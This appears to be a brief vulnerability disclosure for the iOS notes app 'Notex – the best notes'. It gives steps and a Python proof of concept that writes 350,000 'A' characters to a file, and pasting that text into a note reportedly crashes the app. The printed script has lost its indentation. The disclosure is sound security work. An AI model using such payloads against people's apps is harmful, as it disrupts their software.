# Date: 06-14-2021
# Author: Geovanni Ruiz

# Version: 6.4
# Category: DoS (iOS)
##### Vulnerability #####
Notex – the best notes is vulnerable to a DoS condition when a long list of
characters is being used when creating a note:
# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed
Successful exploitation will cause the application to stop working.
I have been able to test this exploit against iOS 14.2.
##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000
try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")
